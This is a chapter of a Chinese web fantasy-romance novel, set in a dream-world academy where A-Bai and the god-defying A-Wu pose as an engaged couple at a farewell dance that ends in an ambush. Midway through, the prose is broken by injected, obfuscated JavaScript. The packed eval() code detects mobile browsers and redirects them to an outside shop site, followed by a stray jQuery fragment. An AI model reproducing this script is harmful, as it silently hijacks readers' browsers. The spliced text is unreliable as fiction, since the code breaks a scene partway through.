阿白见状只觉得他真是个疯子,一个挑衅神明的疯子。

    早知如此就不和他一起了,她属实不明白,阿无到底想做什么。

    片刻,这场浪漫的花雨被火焰包裹,将所有的一切埋葬。

    阿白站在火光中,感觉肌肤被灼伤,火光此刻就在她眼前。

    阿无浑身血迹被锁链捆绑,那双血眸死死盯着她。

    下一刻画面被撕裂。

    耳边传来熟悉的声响:“安姑娘,你在这里做什么?”

    回过神来,眼前一切回到书院里,她看着面前疑惑询问的梦生,问:“你怎么在这里?”

    “安姑娘这话说得当真是怪异,我的未婚妻在这里,我自然也该在这里。”他似笑非笑地,眼神中带着疏离。

    阿白对他的话感到疑惑,还想问他,只见他神色突然变得明媚,与她侧身而过,快步走去。

    她转身看去,梦生快速地停在安音的面前,语气很是宠溺道:“小娘子,累不累。”

    她摇摇头,温柔道:“有你在便不会累。”

    “我才不信,做院士哪有不累的,阿白我们赶紧回去,好好休息休息。”

    她面露不悦:“都说了不要叫我阿白。”

    “好好好,小娘子。”

    安音这才露出满意的笑,她牵上梦生的手,两人很是恩爱的在她面前离开了。

    突然安音回过头向她露出意味深长的笑。

    阿白眨了眨眼,有些不明所以。

    安音成了院士,梦生称她为未婚妻还叫她阿白?

    这到底是怎么一回事?

    思索间,肩膀被轻轻一拍,回头映入眼帘的是一张可爱的脸。

    “萌萌,你的脸?”

    原本光洁的左脸被划伤,露出红色伤斑。

    萌萌眸色有片刻顿住,又佯装并未在意样,笑道:“哎呀,之前不小心划伤的,”

    “阿音,你还在这里待着干嘛?书院节礼墨公子也会来,你不去找他吗?”

    似是不想提及,她连忙转移话题。

    阿白见她眼底闪躲,知道她在撒谎且有意隐瞒,自己也何必自讨没趣。

    对于她的话,阿白很疑惑:墨公子和自己有什么关系吗?

    她又为何叫自己阿音?

    心有困惑却也不说,眼下还未清楚这场梦,她还是不问为好。

    书院节礼是对即将离开的学子的告别仪式,届时会在学堂竹林空地举行散舞,每一位离开的学子都可以邀请自己的舞伴参加。

    而院士也会一起在竹林空地共舞。

    是属于云上书院的传统。

    阿白与萌萌前往的同时,她提及梦生,萌萌还宽慰她莫要在意。

    从萌萌口中,她得知都君已彻底彻查了梦生一事。原来梦生并未杀害同门,这一切都是南泽所做,在梦生入学的这些年,他都暗中欺负诬陷着梦生。

    四位学子也是被他所杀,为的是铲除梦生。

    诺莎公开向梦生表示了道歉,公布了南则的罪行,至于南则,他案发后便逃走,如今还被都君追杀。

    而在院士选拔中,“阿白”获胜,梦生也乘机与她告白。

    书院皆知梦生爱慕安音,这一行径显然是在打安音的脸,脾气再好的人也会生气,因此她对两人十分不喜,她便提前参加了节礼。

    阿白恍然大悟,她属实没想到离开后会发生这么多事。

    不过对于梦生的事她还是由衷地感到开心。

    竹林空地

    古色古香的庭院,学子们居于其中,穿着书院服饰,欢声笑语。

    最中间,有一人被众人簇拥,他身形高大,青色服饰将那张魅惑容颜显得清冷些,他露着浅淡笑意,时不时回答着学子的问题。

    见此阿白脚步顿住,他怎么在这里?还和学子这般交好模样?

    眼前之人便是阿无,少了些戾气,眼底的轻蔑却还在。

    “怎么看见未婚夫,害羞了?”萌萌在一旁见她停下,忍不住打趣道:“放心,墨公子也算是书院曾经的优秀学子,她们只是向他讨教问题。”

    “墨公子?优秀学子?”阿白一脸茫然。

    萌萌却只觉得她太久没见墨公子,有些发愣,她说:“阿音,你就别逗我了。”

    “去找他吧,我还要找找我的舞伴呢。”她伸手一推,阿白不察瞬间踉跄朝前,一个结实有力的臂膀将她拦起,才不至于摔的太难看。

    她下意识地抓住他的衣袖,抬眸间与他视线交织,一双深邃眼眸格外柔情,好似她是他的命定之人般。

    这样的阿无倒是令她不习惯,她眨巴下眼视线移开,往后站稳想要离开他的怀抱,不料阿无却掌心抚上她的腰间,将她紧紧拦入怀中。

    低头靠近她的耳畔,散漫的声音传来,“别动,他在看着呢。”

    此时,阿无抬眸神色淡淡,望着不远处前来的安音和梦生。

    梦生牵着安音的手前来,抬眼时与他视线对上,珍珠垂落的步摇后,是被饱满秀发包裹的脸庞。

    风吹动着步摇微微晃动,一瞬间,梦生感觉有些熟悉。

    阿白被阿无桎梏,她好似趴在他身上般,在外人看来举止格外暧昧。

    恰好梦生到来,学子们露出探索的目光在四人身上转悠。

    一副看戏的模样。

    阿白被迫保持着跌落怀中的模样,很是不舒服,回眸想知道是谁。

    触及梦生微微呆滞的容颜,她低声道:“公子是在吃醋?”

    想来对于梦生和安音的事情,这个未婚夫定是知道的,她没有表露认出阿无。

    阿无:“谁让我爱你入骨呢。”

    细而缠绵的口吻,好似棉雨落下一旦被淋上便湿答答的。

    阿白感觉全身鸡皮疙瘩都起,肉麻至极。

    他却毫无感受,瞥见梦生和安音靠近,抚在她腰间的掌心转而牵上她柔软指尖,不等梦生靠近便拉着阿白离开,朝着右边长廊走去。

    见此,梦生调侃:“看来之前的误会让他不欢迎我呢。”

    “一会儿解释清楚就行,你和他自幼相识,他定是也清楚你的为人的。”

    梦生点头,垂眸含情脉脉盯着安音,惹得安音都不好意思低头。

    ……

    竹林后院,阿白左手拧了拧右手手腕,显然被他弄疼了,也不知道他在气什么,捏着她的手腕好似要捏碎。

    “大人,你会不会入戏太深?”她盯着倚靠在白墙的阿无,他漫不经心地松了松交织的衣领,露出些许肌肤,散漫的模样别有浪荡风味。

    听闻她的话,嘴角扯笑,“什么时候发现的?”

    他连余光都不给阿白,桀骜不驯的模样与之前的柔情判若两人。

    阿白轻笑:“作为一个最忠诚的信徒,自然是第一眼便认出。”她带着讨好的意味,瞧着他投来探索目光,面色笑的更加温和。

    她知道他被她取悦。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671058|207376||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    果然阿无嗤笑一声,“花言巧语。”

    不可否认他心中是喜悦的,他饶有兴致地告诉她如今的梦。

    梦是无法一同进入的,这是神明不许,所以他将昙花与她一起全数吸收,在时间的裂缝中操控着梦,两人才来到了之前的雨墨村。

    惹怒神明不过是让他将自己丢在阿白所在梦境地。

    阿白震惊,不曾想所谓的方法这般简单粗暴,“大人就不怕失败吗?”

    “他什么德行我还不知?”阿无一脸鄙夷,显然一切在他意料中,不过惹怒神明的代价便是会很悲惨。

    他从进入这个梦中便看见了不属于自己的记忆。

    关于墨公子的记忆。

    他自小便被关在寺庙中,不被允许流露喜怒哀乐,无人疼爱,唯有安音会时不时来看他,会教他笑,逗他开心。

    按照阿无对欲念神明的了解,他定是会结局惨烈的,不然不会将记忆植入,惹得他在看见阿白那张脸时不自觉的心跳不止。

    那是墨公子的情绪,他不喜。

    却也没有告知阿白这一切。

    阿白听完这些后,想到被认错,她困惑看向他,“大人,为何我成为了安音,明明相貌都未改变啊?”

    “神明的修复罢了,如今的梦与你之前的不同,梦生并未爱慕过安音,之前的一切不过是为了试探,看她会不会背叛自己的好兄弟。”

    “好兄弟?”

    “他和墨公子自小一起长大,是过命的友谊。”

    “哈?”阿白震惊,这也行?

    此刻悠远的琴音自竹林空地传来,是散舞的开场。

    阿无听闻,朝着阿白伸手,“走吧,节礼开始了。”

    ……

    竹林空地

    随着琴音的弹奏,学子们纷纷邀请自己的舞伴踏入,院庭中央少男少女踏歌舞,抬手指尖与掌心轻抚,步伐轻盈地绕着彼此旋转舞动。

    少女的步摇与少男的发上丝带随风晃动,衣裙摆动任由步伐轻舞。

    见此阿白也拉着阿无踏入其中,她伸着手与阿无掌心触碰,冰凉感袭来,抬眸间瞥见他莫名变得轻柔的眼。

    一双杏眼弯起,笑意晏晏。

    不可否认她喜欢这般的他,好似她便是他的一切。

    她顺着同样的方向,与他掌心相抵,一同舞动,学着学子的样子,清雅的脸上露出明媚的笑容。

    阿无注视着她,她的一颦一笑好似刻在了眼中,他听见心脏的跳动,眼前画面与脑海中树下共舞交织。

    那不是他的记忆,是儿时的墨公子和安音。

    墨公子的情绪入侵着他,令他不知觉中迷离。

    在这场舞姿中学子们纷纷沉浸,唯有萌萌一双眼死死盯着“阿白。”

    在她靠近“阿白”和梦生时,她缓慢停下脚步,手中浮现匕首,直直朝着她刺去。

    梦生垂眸注视着眼前的心上人,余光察觉萌萌的动向,一个转身将她护在身后,掌心用力的抓住匕首。

    血顺着匕首滴落。

    对上她狠辣眸光,他呵斥道:“萌萌,你疯了。”

    萌萌冷声:“不杀她,我才是疯了。”

    “我耐心等待为的就是这一日。”她右手举起一个透白玻璃瓶,狠狠摔在地面,“嘭”的一声,引起学子们的注意。

    有人惊叫一声。

    无数黑衣从天而降,他们黑巾遮面,手持弯刀,朝着学子们袭来。